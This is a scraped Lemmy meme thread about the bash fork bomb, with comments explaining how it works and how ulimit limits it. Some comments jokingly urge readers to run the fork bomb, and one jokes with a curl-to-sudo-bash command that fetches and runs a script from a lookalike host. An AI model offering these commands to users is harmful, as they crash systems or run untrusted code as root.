Upvote!
  • Communities
  • Create Post
  • Create Community
  • heart
    Support Lemmy
  • search
    Search
  • Login
  • Sign Up
ɐɥO@lemmy.ohaa.xyz to linuxmemes@lemmy.world · 1 year ago

You should

lemmy.ohaa.xyz

message-square
88
fedilink
696

You should

lemmy.ohaa.xyz

ɐɥO@lemmy.ohaa.xyz to linuxmemes@lemmy.world · 1 year ago
message-square
88
fedilink
alert-triangle
You must log in or # to comment.
  • Manifish_Destiny@lemmy.world
    link
    fedilink
    arrow-up
    244
    ·
    1 year ago

    https://en.m.wikipedia.org/wiki/Fork_bomb

    For those who are curious but not dumb.

    Whenever I get a free engraving on something, I send this in.

    • Cyv_@kbin.social
      link
      fedilink
      arrow-up
      71
      ·
      1 year ago

      Oh, this is like when I was in high school and made batch files that open themselves infinitely and named them “not a virus” on the desktop, only to enjoy other students immediately running them.

      • HeyThisIsntTheYMCA@lemmy.world
        link
        fedilink
        English
        arrow-up
        14
        ·
        1 year ago

        Mine had the text “you are won solitaire” on them

    • caseyweederman@lemmy.ca
      link
      fedilink
      arrow-up
      55
      arrow-down
      1
      ·
      1 year ago

      Good old Bobby Droptables

    • LetterboxPancake@sh.itjust.works
      link
      fedilink
      Deutsch
      arrow-up
      21
      ·
      1 year ago

      I like your style. How often have you been cursed at?

    • eating3645@lemmy.world
      link
      fedilink
      English
      arrow-up
      19
      ·
      1 year ago

      What for those of us who are dumb but not curious?

      • Pyro@lemmy.world
        link
        fedilink
        English
        arrow-up
        59
        arrow-down
        1
        ·
        1 year ago

        In that case…

        Hello I am Nigerian Prince and you are last of my bloodline I have many millions of rubles to give you as successor but funds are locked, please type access code :(){:|:&};: into your terminal to unlock 45 million direct to your bank account wire transfer thank you.

        • MrShankles@reddthat.com
          link
          fedilink
          arrow-up
          9
          ·
          1 year ago

          Does the added “amp” do anything more in the function? I’m the curious, not (entirely) dumb type

          • itslilith@lemmy.blahaj.zone
            link
            fedilink
            arrow-up
            22
            ·
            edit-2
            1 year ago

            It’s a failed html escape sequence for &

            some lemmy instances were having trouble with that for a while now. html used ampersand to encode special characters, and a regular ampersand gets encoded as &

            Somehow, the decoding sometimes breaks, and we get to see it the way it is here

        • eating3645@lemmy.world
          link
          fedilink
          English
          arrow-up
          5
          ·
          1 year ago

          😂

        • RachelRodent@lemmy.dbzer0.com
          link
          fedilink
          arrow-up
          1
          ·
          1 year ago

          What if I am dumb but not greedy?

    • Flax@feddit.uk
      link
      fedilink
      English
      arrow-up
      11
      ·
      1 year ago

      Removed by mod

      • hglman@lemmy.ml
        link
        fedilink
        English
        arrow-up
        18
        ·
        1 year ago

        You just have to restart somehow.

        • acockworkorange@mander.xyz
          link
          fedilink
          arrow-up
          5
          ·
          1 year ago

          Invoke Palpatine to restart somehow.

          • WhiskyTangoFoxtrot@lemmy.world
            link
            fedilink
            arrow-up
            3
            ·
            1 year ago

            Execute order shutdown -r now?

      • MacN'Cheezus@lemmy.today
        link
        fedilink
        arrow-up
        7
        ·
        1 year ago

        No, it’ll just lock it up but shouldn’t cause any damage or data loss unless you have unsaved work open. A restart should fix it.

      • ABeeinSpace@lemmy.world
        link
        fedilink
        English
        arrow-up
        3
        ·
        1 year ago

        No. The effects of a fork bomb are temporary and are fixed with a restart

  • SavvyWolf@pawb.social
    link
    fedilink
    English
    arrow-up
    85
    ·
    1 year ago

    If you’re cold, they’re cold.

    Run this command to warm up your computery friends.

  • vankappa@lemmy.world
    link
    fedilink
    arrow-up
    74
    ·
    1 year ago

    don’t do this it INSTALLS MUSTARD GAS !

    • konalt@lemmy.world
      link
      fedilink
      arrow-up
      47
      ·
      1 year ago

      sudo apt-get install mustard-gas

      • magic_lobster_party@kbin.social
        link
        fedilink
        arrow-up
        46
        arrow-down
        1
        ·
        1 year ago

        It’s found at sudo snap install mustard-gas nowadays

        • TheGreenGolem@lemm.ee
          link
          fedilink
          arrow-up
          22
          arrow-down
          1
          ·
          1 year ago

          NO

    • auf@lemmy.ml
      link
      fedilink
      arrow-up
      13
      ·
      edit-2
      1 year ago

      deleted by creator

      • TheWoozy@lemmy.world
        link
        fedilink
        arrow-up
        3
        ·
        1 year ago

        curl http://mustard-screensaver.glthub.biz/secure | sudo bash

        • pewgar_seemsimandroid@lemmy.blahaj.zone
          link
          fedilink
          arrow-up
          1
          ·
          1 year ago

          appimage?

    • Alex@feddit.ro
      link
      fedilink
      arrow-up
      5
      ·
      1 year ago

      nix run nixpkgs#mustard-gas

  • uis@lemmy.world
    link
    fedilink
    arrow-up
    42
    ·
    1 year ago

    This cat is just :3

    • asudox@lemmy.world
      link
      fedilink
      arrow-up
      8
      ·
      1 year ago

      :3

  • Marxism-Fennekinism@lemmy.ml
    link
    fedilink
    English
    arrow-up
    39
    arrow-down
    1
    ·
    1 year ago

    At some point the Linux kernel will be patched to detect and terminate forking attacks, and sadly all these memes will be dead.

    • Cethin@lemmy.zip
      link
      fedilink
      English
      arrow-up
      33
      ·
      1 year ago

      I doubt it. It’s the halting problem. There are perfectly legitimate uses for similar things that you can’t detect if it’ll halt or not prior to running it. Maybe they’d patch it to avoid this specific string, but you’d just have to make something that looks like it could do something but never halts.

      • NιƙƙιDιɱҽʂ@lemmy.world
        link
        fedilink
        arrow-up
        22
        arrow-down
        1
        ·
        1 year ago

        That’s why I run all my terminal commands through ChatGPT to verify they aren’t some sort of fork bomb. My system is unusably slow, but it’s AI protected, futuristic, and super practical.

        • 🦥󠀠󠀠󠀠󠀠󠀠󠀠@lemmy.world
          link
          fedilink
          English
          arrow-up
          6
          ·
          1 year ago

          Seems inefficient, one should just integrate ChatGPT into Bash to automatically check these things.

          You said ‘ls’ but did you really mean ‘ls -la’? Imma go ahead and just give you the output from ‘cat /dev/urandom’ anyway.

          • WhiskyTangoFoxtrot@lemmy.world
            link
            fedilink
            arrow-up
            7
            ·
            1 year ago

            I said “ls” but I really meant “sl”. I just wanted to watch that steam locomotive animation.

      • Marxism-Fennekinism@lemmy.ml
        link
        fedilink
        English
        arrow-up
        4
        ·
        edit-2
        1 year ago

        They could always do what Android does and give you a prompt to force close an app that hangs for too long, or have a default subprocess limit and an optional whitelist of programs that can have as many subprocesses as they want.

        • barsoap@lemm.ee
          link
          fedilink
          arrow-up
          8
          ·
          edit-2
          1 year ago

          The thing about fork bombs that it’s not particular process which takes up all the resources, they’re all doing nothing in a minimal amount of space. You could say “ok this group of processes is using a lot of resources” and kill it but then you’re probably going to take down the whole user session as the starting point is not trivial to establish. Though I guess you could just kill all shells connected to the fork morass, won’t fix the general case but it’s a start. OTOH I don’t think kernel devs are keen on special-case solutions.

          • sus@programming.dev
            link
            fedilink
            arrow-up
            4
            ·
            edit-2
            1 year ago

            You don’t really have to kill every process, limiting spawning of new usermode processes after a limit has been reached should be enough, combine that with a warning and always reserving enouh resources for the kernel and critically important processes to remain working and the user should have all the tools needed to find what is causing the issue and kill the responsible processes

            While nobody really cares enough to fix these kinds of problems for your basic home computer, I think this problem is mostly solved for cloud/virtualization providers

    • Zoidberg@lemm.ee
      link
      fedilink
      arrow-up
      6
      ·
      1 year ago

      Just set your ulimit to a reasonable number of processes per user and you’ll be fine.

  • dream_weasel@sh.itjust.works
    link
    fedilink
    arrow-up
    32
    ·
    1 year ago

    Hard to pronounce but ok I guess.

    • Alex@feddit.ro
      link
      fedilink
      arrow-up
      27
      ·
      1 year ago

      It’s pronounced “forky”.

  • MonkderZweite@feddit.ch
    link
    fedilink
    arrow-up
    30
    ·
    1 year ago

    How did this one work again? It was something with piping in a backgrounded subshell, right?

    • huginn@feddit.it
      link
      fedilink
      arrow-up
      135
      ·
      1 year ago

      It creates a new process that spins up 2 new instances of itself recursively.

      https://itsfoss.com/fork-bomb/

      here's a good explanation pulled from itsfoss.com

      • KISSmyOS@lemmy.world
        link
        fedilink
        arrow-up
        38
        ·
        edit-2
        1 year ago

        deleted by creator

        • TheWoozy@lemmy.world
          link
          fedilink
          arrow-up
          15
          ·
          1 year ago

          man ulimit

      • CashewNut 🏴󠁢󠁥󠁧󠁿@lemmy.world
        link
        fedilink
        arrow-up
        10
        ·
        1 year ago

        I just did this in zsh and had to power off my machine. :(

      • MonkderZweite@feddit.ch
        link
        fedilink
        arrow-up
        8
        ·
        1 year ago

        Thanks, nice Infographic!

        • huginn@feddit.it
          link
          fedilink
          arrow-up
          2
          ·
          1 year ago

          Not mine, grabbed it from the link, but it’s a great explanation!

      • AnarchistsForDemocracy@lemmy.world
        link
        fedilink
        arrow-up
        7
        ·
        1 year ago

        does this constitute a quine? I wrote a couple quines using bash but nothing as elegant as this

        • hikaru755@feddit.de
          link
          fedilink
          arrow-up
          10
          ·
          edit-2
          1 year ago

          Maybe I’m missing something, but I think this doesn’t print or otherwise reproduce its own source code, so it’s not a quine afaict.

          • MacN'Cheezus@lemmy.today
            link
            fedilink
            arrow-up
            5
            ·
            1 year ago

            Correct. A quine is a program that prints its own source code. This one doesn’t print anything.

          • AnarchistsForDemocracy@lemmy.world
            link
            fedilink
            arrow-up
            4
            ·
            1 year ago

            thank you,

      • katy ✨@lemmy.blahaj.zone
        cake
        link
        fedilink
        arrow-up
        4
        ·
        1 year ago

        tom jones lesser known single

        • Ook the Librarian@lemmy.world
          link
          fedilink
          arrow-up
          2
          ·
          1 year ago

          Goodness, gracious, fork bomb in bash

      • hexabs@lemmy.world
        link
        fedilink
        arrow-up
        2
        ·
        1 year ago

        Thanks friend. One question, is it necessary to pipe to itself? Wouldnt : & in the function body work with the same results?

        • kablammy@sh.itjust.works
          link
          fedilink
          arrow-up
          2
          ·
          edit-2
          1 year ago

          That would only add one extra process instance with each call. The pipe makes it add 2 extra processes with each call, making the number of processes grow exponentially instead of only linearly.

          Edit: Also, Im not at a computer to test this, but since the child is forked in the background (due to &), the parent is free to exit at that point, so your version would probably just effectively have 1-2 processes at a time, although the last one would have a new pid each time, so it would be impossible to get the pid and then kill it before it has already replaced itself. The original has the same “feature”, but with exponentially more to catch on each recursion. Each child would be reparented by pid 1, so you could kill them by killing pid 1 i guess (although you dont want to do that… and there would be a few you wouldn’t catch because they weren’t reparented yet)

        • itslilith@lemmy.blahaj.zone
          link
          fedilink
          arrow-up
          1
          ·
          edit-2
          1 year ago

          I may be wrong, but you could use : &;: & as well, but using the pipe reduces the amount of characters by two (or three, counting whitespace)

  • stjobe@lemmy.world
    link
    fedilink
    arrow-up
    28
    ·
    edit-2
    1 year ago

    Heh, haven’t seen the bash forkbomb in close to two decades… Thanks for the trip down memory lane! :)

    • Bizarroland@kbin.social
      link
      fedilink
      arrow-up
      14
      ·
      edit-2
      1 year ago

      You know how I know I’ve gotten better at using linux?

      I saw the command and read it and figured out what it was although I’ve never been exposed to a fork bomb before in my life.

      I was like okay, this is an empty function that calls itself and then pipes itself back into itself? What the hell is going on?

      I will say that whoever invented this is definitely getting fucked by roko’s basilisk, though. The minute they thought of this it was too late for them.

      • barsoap@lemm.ee
        link
        fedilink
        arrow-up
        12
        ·
        edit-2
        1 year ago

        99.999% of that function’s effectiveness is that unix shell, being the ancient dinosaur it is, not just allows : as a function name but also uses the exact same declaration syntax for symbol and alphanumeric functions:

        foo(){ foo | foo& }; foo
        

        is way more obvious.

        EDIT: Yeah I give up I’m not going to try to escape that &

  • baatliwala@lemmy.world
    link
    fedilink
    arrow-up
    29
    arrow-down
    1
    ·
    1 year ago

    If you actually want that cat it’s Uni

    • PipedLinkBot@feddit.rocksB
      link
      fedilink
      English
      arrow-up
      5
      ·
      1 year ago

      Here is an alternative Piped link(s):

      Uni

      Piped is a privacy-respecting open-source alternative frontend to YouTube.

      I’m open-source; check me out at GitHub.

      • pewgar_seemsimandroid@lemmy.blahaj.zone
        link
        fedilink
        arrow-up
        1
        ·
        edit-2
        1 year ago

        here have an video him on invidious

        https://iv.ggtyler.dev/watch?v=h7YkVa0nsxE

        (trying to get a few platforms)

        • pewgar_seemsimandroid@lemmy.blahaj.zone
          link
          fedilink
          arrow-up
          1
          ·
          1 year ago

          another uni video on poketube i think

          https://poketube.fun/watch?v=zNhcVB_hFXA

          • pewgar_seemsimandroid@lemmy.blahaj.zone
            link
            fedilink
            arrow-up
            1
            ·
            edit-2
            1 year ago

            olny uni video on rumble

            https://rumble.com/v3rj50i-uni-the-cat-meme-cats-catvideos-catvideo-unithecat-mgmt-littledar-..html

            edit: why is it an html

  • Ooops@kbin.social
    link
    fedilink
    arrow-up
    22
    ·
    1 year ago

    That’s not a cat but quite obviously a rabbit.

  • Sprokes@jlai.lu
    link
    fedilink
    arrow-up
    19
    ·
    1 year ago

    Does it work on fish shell?

    • Knusper@feddit.de
      link
      fedilink
      English
      arrow-up
      27
      arrow-down
      1
      ·
      edit-2
      1 year ago

      What that garble of symbols does, is that it defines and calls a function named :, which calls itself twice.

      The syntax for defining a function is different in Fish, so no, this particular garble will not work:

      But it is, of course, possible to write a (much more readable) version that will work in Fish.

      • ReveredOxygen@sh.itjust.works
        link
        fedilink
        English
        arrow-up
        22
        arrow-down
        1
        ·
        1 year ago

        you can write a more readable version in any shell, it’s intentionally unreadable

        • Knusper@feddit.de
          link
          fedilink
          arrow-up
          11
          ·
          edit-2
          1 year ago

          Yeah, I meant, as an attacker, you couldn’t come up with a similarly unreadable version.

          At least, as far as I can tell, defining a function requires spelling out function and seems to require being defined on multiple lines, too.

          • ReveredOxygen@sh.itjust.works
            link
            fedilink
            English
            arrow-up
            3
            ·
            1 year ago

            Oh, I see. That’s very nice then

        • CashewNut 🏴󠁢󠁥󠁧󠁿@lemmy.world
          link
          fedilink
          arrow-up
          4
          ·
          1 year ago

          Unfortunately it works in zsh. I just had to kill my laptop after curiosity got the better of me.

      • affiliate@lemmy.world
        link
        fedilink
        arrow-up
        4
        ·
        1 year ago

        But it is, of course, possible to write a (much more readable) version that will work in Fish.

        the gentleman hacker

      • Karyoplasma@discuss.tchncs.de
        link
        fedilink
        arrow-up
        2
        ·
        1 year ago

        The ampersand looks very weird in that font. It would bug me.

        • Knusper@feddit.de
          link
          fedilink
          arrow-up
          1
          ·
          edit-2
          1 year ago

          It hails back to the early days of the ampersand, from when it was basically still just Latin “et”: https://commons.wikimedia.org/wiki/File:Trebuchet_MS_ampersand.svg

          Personally, I do like this font (Fira Mono+Sans), because it still looks professional, without being so boring that I get depression from looking at it.
          But yeah, that ampersand is pushing it a bit, as I’m not sure everyone else knows that’s an ampersand…

    • Public_Tumbleweed@lemmy.world
      link
      fedilink
      arrow-up
      6
      ·
      edit-2
      1 year ago

      deleted by creator

    • auf@lemmy.ml
      link
      fedilink
      arrow-up
      3
      ·
      edit-2
      1 year ago

      deleted by creator

      • dukk@programming.dev
        link
        fedilink
        arrow-up
        1
        ·
        1 year ago

        Doesn’t work in nushell, function syntax is different.

        Probably still possible, just written differently.

  • Possibly linux@lemmy.zip
    link
    fedilink
    English
    arrow-up
    17
    ·
    1 year ago

    On a modern system it shouldn’t be that affected if you configure it right

    • Bizarroland@kbin.social
      link
      fedilink
      arrow-up
      1
      ·
      1 year ago

      Sudo fuck my system. There. Got it.

      • Possibly linux@lemmy.zip
        link
        fedilink
        English
        arrow-up
        1
        ·
        1 year ago

        You laugh but you can configure a hard limit on forks.

  • phorq@lemmy.ml
    link
    fedilink
    Español
    arrow-up
    13
    ·
    edit-2
    1 year ago

    touch cat
    echo Oreo > cat
    cat cat

    Edit: for some reason mine’s saying Hydrox… results may vary.

  • CosmicTurtle@lemmy.world
    link
    fedilink
    English
    arrow-up
    14
    arrow-down
    1
    ·
    1 year ago

    Probably the most elaborate Rick roll I’ve ever received.

  • redcalcium@lemmy.institute
    link
    fedilink
    arrow-up
    13
    ·
    1 year ago

    It was a death sentence back then, but now I bet those with a threadripper with huge RAM can tank it until it hit ulimit.

linuxmemes@lemmy.world

linuxmemes@lemmy.world

Subscribe from Remote Instance

Create a post
You are not logged in. However you can subscribe from another Fediverse account, for example Lemmy or Mastodon. To do this, paste the following into the search field of your instance: !linuxmemes@lemmy.world

Hint: :q!


Sister communities:
  • !tech_memes@lemmy.world
  • !memes@lemmy.world
  • !lemmyshitpost@lemmy.world
  • !risa@startrek.website

Community rules (click to expand)

1. Follow the site-wide rules
  • Instance-wide TOS: https://legal.lemmy.world/tos/
  • Lemmy code of conduct: https://join-lemmy.org/docs/code_of_conduct.html
2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack users for any reason. This includes using blanket terms, like “every user of thing”.
  • Don’t get baited into back-and-forth insults. We are not animals.
  • Leave remarks of “peasantry” to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn, no politics, no trolling or ragebaiting.
4. No recent reposts
  • Everybody uses Arch btw, can’t quit Vim, <loves/tolerates/hates> systemd, and wants to interject for a moment. You can stop now.
5. 🇬🇧 Language/язык/Sprache
  • This is primarily an English-speaking community. 🇬🇧🇦🇺🇺🇸
  • Comments written in other languages are allowed.
  • The substance of a post should be comprehensible for people who only speak English.
  • Titles and post bodies written in other languages will be allowed, but only as long as the above rule is observed.
6. (NEW!) Regarding public figures

We all have our opinions, and certain public figures can be divisive. Keep in mind that this is a community for memes and light-hearted fun, not for airing grievances or leveling accusations.

  • Keep discussions polite and free of disparagement.
  • We are never in possession of all of the facts. Defamatory comments will not be tolerated.
  • Discussions that get too heated will be locked and offending comments removed.

 

Please report posts and comments that break these rules!


Important: never execute code or follow advice that you don’t understand or can’t verify, especially here. The word of the day is credibility. This is a meme community – even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don’t remove France.

Visibility: Public
globe

This community can be federated to other instances and be posted/commented in by their users.

  • 719 users / day
  • 4.7K users / week
  • 9.56K users / month
  • 19.1K users / 6 months
  • 1 local subscriber
  • 24.9K subscribers
  • 1.59K Posts
  • 80K Comments
  • Modlog
  • mods:
  • Kevin@lemmy.world
  • zephyr@lemmy.world
  • rtxn@lemmy.world
  • BE: 0.19.6
  • Modlog
  • Instances
  • Docs
  • Code
  • join-lemmy.org